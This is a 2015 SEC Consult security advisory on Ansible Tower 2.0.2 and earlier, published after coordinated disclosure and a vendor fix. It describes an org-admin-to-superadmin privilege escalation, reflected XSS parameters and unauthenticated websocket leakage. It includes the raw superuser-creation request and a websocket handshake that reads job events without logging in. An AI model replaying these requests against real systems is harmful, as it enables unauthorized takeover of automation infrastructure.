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SEC Consult SA-20150113-1 :: Privilege Escalation & XSS & Missing Authentication in Ansible Tower

SEC Consult Vulnerability Lab Security Advisory < 20150113-1 >
              title: Privilege Escalation & XSS & Missing Authentication
            product: Ansible Tower
 vulnerable version: <=2.0.2
      fixed version: >=2.0.5
             impact: high
           homepage: http://www.ansible.com/tower
              found: 2014-10-15
                 by: Manuel Hofer
                     SEC Consult Vulnerability Lab

Vendor description:
"Ansible Tower is the easy-to-use UI and dashboard and REST API for Ansible.
Centralize your Ansible infrastructure from a modern UI, featuring role-based
access control, job scheduling, and graphical inventory management. Tower's
REST API and CLI make it easy to embed Tower into existing tools and processes.
Tower now includes real-time output of playbook runs, an all-new dashboard and
expanded out-of-the-box cloud support."

source: http://www.ansible.com/tower

Business recommendation:
Attackers are able to elevate privileges and gain full control over Ansible
Tower and therefore access to sensitive data of other customers.

It is assumed that further vulnerabilities exist as only a short crash test has
been performed. Therefore it is recommended to perform a thorough security
review by security professionals.

Vulnerability overview/description:
1) Privilege Escalation
Ansible Tower provides the feature to create multiple organizations inside
one tower instance. Each organization can have an unlimited number of users
and administrators which are only allowed to perform actions in the context
of their own organization. Due to missing validation of the "is_superuser"
parameter during user creation, organization admins can create superadmin
accounts and therefore elevate their privileges to gain full control of
Ansible Tower.

2) Reflected Cross-Site Scripting
Several parts of the Ansible Tower API have been identified to be vulnerable
against reflected XSS attacks which can be used by an attacker to steal user

3) Missing Websocket Authentication / Information Leakage
The Ansible Tower UI uses Websockets to notify clients about recent events.
This part of the application lacks authentication as well as authorization,
leading to internal data about e.g. scheduled events, being leaked to
unauthorized and/or unauthenticated users.

Proof of concept:
1) Privilege Escalation (Org-Admin to Superadmin)
Using the following request, a user with administrative privileges limited to an
organization, can create a superadmin account with access to all organizations:

> POST /api/v1/organizations/3/users/ HTTP/1.1
> Host: $host
> Authorization: Token c3f03841403a17ed79753e057167a62144dae7df
> X-Auth-Token: Token c3f03841403a17ed79753e057167a62144dae7df
> {"first_name":"Org1admin_superuser","last_name":"Org1admin_superuser",
> "email":"Org1admin_superuser@local.local","organization":3,
> "username":"Org1admin_superuser","password":"Org1admin_superuser",
> "password_confirm":"Org1admin_superuser","is_superuser":"true","ldap_user":""}

2) Reflected Cross-Site Scripting
The following URL parameters have been identified to be vulnerable against
reflected cross-site scripting:
 * URL: /api/v1/credentials/, Parameter: order_by
 * URL: /api/v1/inventories/, Parameter: order_by
 * URL: /api/v1/projects/, Parameter: order_by
 * URL: /api/v1/schedules/, Parameter: next_run
 * URL: /api/v1/users/3/permissions/, Parameter: order_by

It is likely that similar issues exist in other parts of the application.

3) Missing Websocket Authentication / Information Leakage
An attacker can setup a websocket connection without providing any credentials
as follows. By issuing a GET request to "https://tower:8080/socket.io/1/"; the
server responds with the following string:
> 43167469538:60:60:websocket,xhr-multipart,htmlfilonp-polling[...]

The first integer value can further be used to establish a websocket connection:
#~% openssl s_client -verify 0 -connect tower:8080
> GET /socket.io/1/websocket/43167469538 HTTP/1.1
> Host: tower:8080
> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Sec-WebSocket-Version: 13
> Origin: https://tower
> Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
> Connection: keep-alive, Upgrade
> Pragma: no-cache
> Cache-Control: no-cache
> Upgrade: websocket

The websocket key seen above, has been taken from the examples of the wikipedia
page on WebSockets (http://de.wikipedia.org/wiki/WebSocket) as it is only used
to verify that the server received and understood the message.

The server responds as follows:
< HTTP/1.1 101 Switching Protocols
< Upgrade: websocket
< Connection: Upgrade
< Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=

Now that the websocket connection has been established, data that would
otherwise be presented to logged in users to display status updates for "job
related events" inside tower, can now be observed without any authentication.
Following an example of data received through the websocket connection.
> 5::/socket.io/jobs:{"args":{"status":"pending","project_id":56,
> "unified_job_id":61,"event":"status_changed","endpoint":"/socket.io/jobs"},
> "name":"status_changed"}

Even tough no critical information has been identified leaking through the
websocket, this should still be protected with proper authentication and
authorization because it might aid an attacker in conducting further attacks.

Vulnerable / tested versions:
Ansible Tower version v2.0.2 has been tested which was the most recent version
at the time of discovery.

Vendor contact timeline:
2014-10-22: Contacting vendor through security@xxxxxxxxxxx and asking for
            cryptographic material in order to securely send advisory.
2014-10-22: Sending unencrypted advisory as requested by vendor.
2014-10-22: Vendor suggests to release a fix prior to 12.12.2014
2014-10-28: Vendor confirms reported vulnerabilities
2014-12-10: Vendor releases fixed Version 2.0.5
2015-01-13: SEC Consult releases security advisory

Upgrade to a fixed version of Ansible Tower >= 2.0.5

For vulnerabilities 1 to 2, no workaround can be applied.
3 can be circumvented by blocking access to TCP port 8080 on your
Ansible Tower installation.

Advisory URL:

SEC Consult Vulnerability Lab

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Interested to work with the experts of SEC Consult?
Write to career@xxxxxxxxxxxxxxx

EOF Manuel Hofer / 2015

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